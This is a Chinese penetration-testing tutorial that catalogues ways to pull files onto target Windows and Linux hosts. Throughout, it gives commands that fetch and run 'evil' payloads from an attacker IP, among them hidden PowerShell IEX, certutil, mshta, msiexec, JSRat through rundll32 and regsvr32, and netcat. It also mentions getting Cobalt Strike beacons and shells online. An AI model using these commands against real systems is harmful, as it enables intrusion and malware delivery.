文章前言
在滲透過程中,通常會需要向目標主機傳送一些文件,來達到權限提升、權限維持等目的,本篇文章主要介紹一些windows和Linux下常用的文件下載方式。
windows
命令行自帶工具
PowerShell
PowerShell是一種跨平台的任務自動化和配置管理框架,由命令行管理程序和腳本語言組成,與大多數接受並返回文本的 shell 不同,PowerShell構建在 .NET公共語言運行時 (CLR) 的基礎之上,接受並返回.NET對象,這從根本上的改變引入了全新的自動化工具和方法。
遠程下載文件到本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt','evil.exe')
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"
certutil
certutil.exe是一個命令行程序,作為證書服務的一部分安裝,你可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件,以及驗證證書,密鑰對和證書鏈。
我們可以在cmd中輸入以下命令來查看certutil的具體使用方法:
certutil -?

在滲透測試過程中,我們可以借助certutil來實現遠程下載文件到本地:
certutil -urlcache -split -f http://192.168.174.1:1234/evil.txt test.exe
Bitsadmin
BITSAdmin是一個命令行工具,可用於創建下載或上傳並監視其進度,自windows7 以上版本內置bitsadmin,它可以在網絡不穩定的狀態下下載文件,出錯會自動重試,在比較復雜的網絡環境下,有着不錯的性能。
我們可以在cmd中輸入bitsadmin來查看其使用說明:
在我們滲透測試過程中我們可以通過在目標主機上執行以下命令來實現遠程文件下載:
bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\Users\Hepta\Desktop\test\evil.exe
FTP
FTP(File Transfer Protocol,文件傳輸協議)是TCP/IP 協議組中的協議之一。FTP協議包括兩個組成部分,其一為FTP服務器,其二為FTP客戶端,其中FTP服務器用來存儲文件,用戶可以使用FTP客戶端通過FTP協議訪問位於FTP服務器上的資源。
在我們滲透測試過程中我們可以通過在攻擊主機上搭建FTP服務,之后在目標主機上通過cmd下的ftp進行遠程連接:
首先,在攻擊主機使用IPOP啟動一個簡易的FTP服務:
之后在目標主機上遠程下載evil.exe文件:
msiexec
msiexec是windows自帶的cmd工具,支持遠程下載功能,攻擊者可以將msi文件上傳到服務器並執行,下面通過一個實例做演示說明,首先我們通過msfvenom來構造一個惡意的msi程序(這里以彈計算器為例,在實戰中可以根據需要進行修改),並啟動一個簡易HTTP服務:
之后在目標主機上通過msiexec來實現遠程下載文件並執行,該方法同樣可以實現無文件落地攻擊:
msiexec /q /i http://192.168.174.131:1234/evil.msi
mshta
mshta.exe是微軟Windows操作系統相關程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標記語言應用,用於執行.HTA文件,我們可以在本地構建hta文件,之后通過目標主機的mshta來遠程下載並執行,例如在本地創建以下hta文件:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Set objShell = CreateObject("Wscript.Shell") objShell.Run "cmd.exe /c calc.exe" // 待執行的命令 self.close </script> <body> Demo </body> </HEAD> </HTML>
之后在遠程目標主機上執行以下命令實現下載執行操作,且無文件落地:
mshta http://192.168.174.1:1234/evil.hta

如果你想要使得目標主機CS上線,那么也可以通過CS來構造hta文件


之后在本地啟動一個HTTP服務:
之后在cmd下通過mshta來下載hta文件並運行,使其上線,且無文件落地:
mshta http://192.168.174.131:1234/evil.hta
rundll32
Rundll32.exe功能是以命令行的方式調用動態鏈接程序庫,系統中還有一個Rundll64.exe文件,它的意思是"執行64位的DLL文件", 其命令行下的使用方法為:Rundll32.exe DLLname,Functionname Arguments,其中DLLname為需要執行的DLL文件名,Functionname為前邊需要執行的DLL文件的具體引出函數,Arguments為引出函數的具體參數。
這里我們使用JSRat來做演示,JSRat是一個命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程序,首先我們在本地運行JSRat監聽本地1234端口:
./JSRat.py -i 192.168.174.131 -p 1234

之后通過訪問client comand 連接客戶端執行命令:
之后復制上述惡意命令在目標主機cmd下執行:
之后成功返回一個會話如下所示:
PS:如果對源代碼感興趣可以查看rundll32 invocation信息的連接
regsvr32
Regsvr32命令用於注冊COM組件,是Windows系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行,我們可以通過該命令來實現遠程文件下載,和上面類似,這里也借助JSRat來實現,首先我們在本地運行JSRat監聽本地1234端口:
./JSRat.py -i 192.168.174.131 -p 1234

之后通過訪問client comand 連接查看客戶端執行命令:
之后復制上述惡意點在目標主機cmd下執行:
之后成功返回一個會話如下所示:
第三方應用/服務
wget
wget 是一個從網絡上自動下載文件的自由工具,支持通過 HTTP、HTTPS、FTP 三個最常見的 TCP/IP協議下載,並可以使用HTTP 代理。"wget" 這個名稱來源於 “World Wide Web” 與 “get” 的結合。
Wget下載地址:https://eternallybored.org/misc/wget/
當目標主機上有安裝wget時,我們可以直接通過該應用程序來實現遠程文件下載:
cURL
cURL是一個利用URL語法在命令行下工作的文件傳輸工具,1997年首次發行,它支持文件上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具,cURL還包含了用於程序開發的libcurl。
當目標主機中安裝了curl時我們可以通過以下方式來實現遠程下載文件到本地:
curl http://192.168.174.1:1234/evil.exe -o evil.exe
ncat
nc是一款安全工具,它還有其他的名字 Netcat, Ncat 可用來做端口掃描,端口轉發,連接遠程系統等。它是一款擁有多種功能的CLI 工具,可以用來在網絡上讀、寫以及重定向數據,它被設計成可以被腳本或其他程序調用的可靠的后端工具,同時由於它能創建任意所需的連接,因此也是一個很好的網絡調試工具。當目標主機上安裝了ncat是我們可以使用ncat來實現文件下載,當然這種場景在實戰中少之又少~
首先,我們在本地使用nc起一個監聽,並傳遞我們想要傳輸的文件名稱:
nc -lvp 4444 < evil.exe
nc 192.168.174.131 4444 >evil.exe
Python
Python是目前很受歡迎的主流腳本語言,當目標主機內安裝了python時,我們可以在cmd中使用python來實現遠程文件下載:
Type "help", "copyright", "credits" or "license" for more information. >>> import urllib2 >>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta') >>> localfile = open('local_file.hta','w') >>> localfile.write(u.read()) >>> localfile.close() >>>
Notepad Dialog Box
如果你有權限接入一台(遠程連接或者物理機)電腦,但是當前用戶權限不允許打開瀏覽器,這時你該怎么反彈一個shell回來呢?如果目標主機有安裝notpad那么你可以通過下面這種方式快速的從一個URL或者UNC路徑當中下載文件到本地並執行來獲取shell:
首先,打開notpad++,之后點擊"文件—>打開":
之后在文件位置處輸出遠程文件web請求連接
回車之后,可以看到成功遠程下載文件到本地
之后運行該hta文件即可(在實戰中可以由CS來生成hta攻擊文件,之后進行攻擊反彈shell回來進行后滲透測試)~
Linux
編程語言
Perl
Perl是目前很受歡迎的主流腳本語言,linux主機一般都自帶perl環境,我們可以在終端中使用vim來編輯一個perl腳本,之后執行perl來實現遠程文件下載:
#!perl
#!/usr/bin/perl use LWP::Simple; getstore("http://192.168.174.1:1234/evil.sh","evil.sh");
Ruby
當目標主機內安裝了Ruby時,我們可以在終端使用vim來編輯一個Ruby腳本,之后執行Ruby來實現遠程文件下載:
#!ruby
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("192.168.174.1") { |http| r = http.get("/evil.sh") open("save_location.sh", "wb") { |file| file.write(r.body) } }
PHP
當目標主機內安裝了Ruby時,我們可以在終端使用vim來編輯一個PHP腳本,之后執行PHP來實現遠程文件下載:
<?php
$data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
Python
Python是目前很受歡迎的主流腳本語言,當目標主機內安裝了python時,我們可以在shell中使用python來實現遠程文件下載:
Type "help", "copyright", "credits" or "license" for more information. >>> import urllib2 >>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh') >>> localfile = open('local_file.sh','w') >>> localfile.write(u.read()) >>> localfile.close() >>>
應用程序
wget
wget 是一個從網絡上自動下載文件的自由工具,支持通過 HTTP、HTTPS、FTP 三個最常見的 TCP/IP協議下載,並可以使用HTTP 代理。"wget" 這個名稱來源於 “World Wide Web” 與 “get” 的結合。當目標主機上有安裝wget時,我們可以直接通過該應用程序來實現遠程文件下載:
wget http://192.168.174.1:1234/evil.sh
cURL
cURL是一個利用URL語法在命令行下工作的文件傳輸工具,1997年首次發行,它支持文件上傳和下載,所以是綜合傳輸工具,但按傳統,習慣稱cURL為下載工具,cURL還包含了用於程序開發的libcurl,當目標主機中安裝了curl時我們可以通過以下方式來實現遠程下載文件到本地:
curl http://192.168.174.1:1234/evil.sh -o evil.sh
ncat
nc是一款安全工具,它還有其他的名字 Netcat, Ncat 可用來做端口掃描,端口轉發,連接遠程系統等。它是一款擁有多種功能的CLI 工具,可以用來在網絡上讀、寫以及重定向數據,它被設計成可以被腳本或其他程序調用的可靠的后端工具,同時由於它能創建任意所需的連接,因此也是一個很好的網絡調試工具。當目標主機上安裝了ncat是我們可以使用ncat來實現文件下載,當然這種場景在實戰中少之又少~
首先,我們在本地使用nc起一個監聽,並傳遞我們想要傳輸的文件名稱:
nc -lvp 4444 < evil.sh
nc 192.168.174.131 4444 >evil.sh
FTP
ftp在linux一般都自帶,我們可以在終端輸入ftp進行交互,所以我們可以在本地搭建FTP服務,之后在目標主機上通過終端下的ftp進行遠程連接來下載文件~
首先,在攻擊主機使用IPOP啟動一個簡易的FTP服務:
之后在目標主機上遠程下載evil.exe文件:
TFTP
tftp在linux一般都自帶,我們可以在終端輸入tftp進行交互,所以我們可以在本地搭建TFTP服務,之后在目標主機上通過終端下的tftp遠程下載文件~
首先,在攻擊主機使用IPOP啟動一個簡易的TFTP服務:
之后在目標主機終端通過tftp鏈接tftp服務並遠程下載文件:
文末小結
上面列舉了一些最常用的文件下載方式,當然,文件下載的方式不僅只有上面幾種,具體可以結合具體的環境來看,例如:各種編程語言開發環境、第三方應用等等。























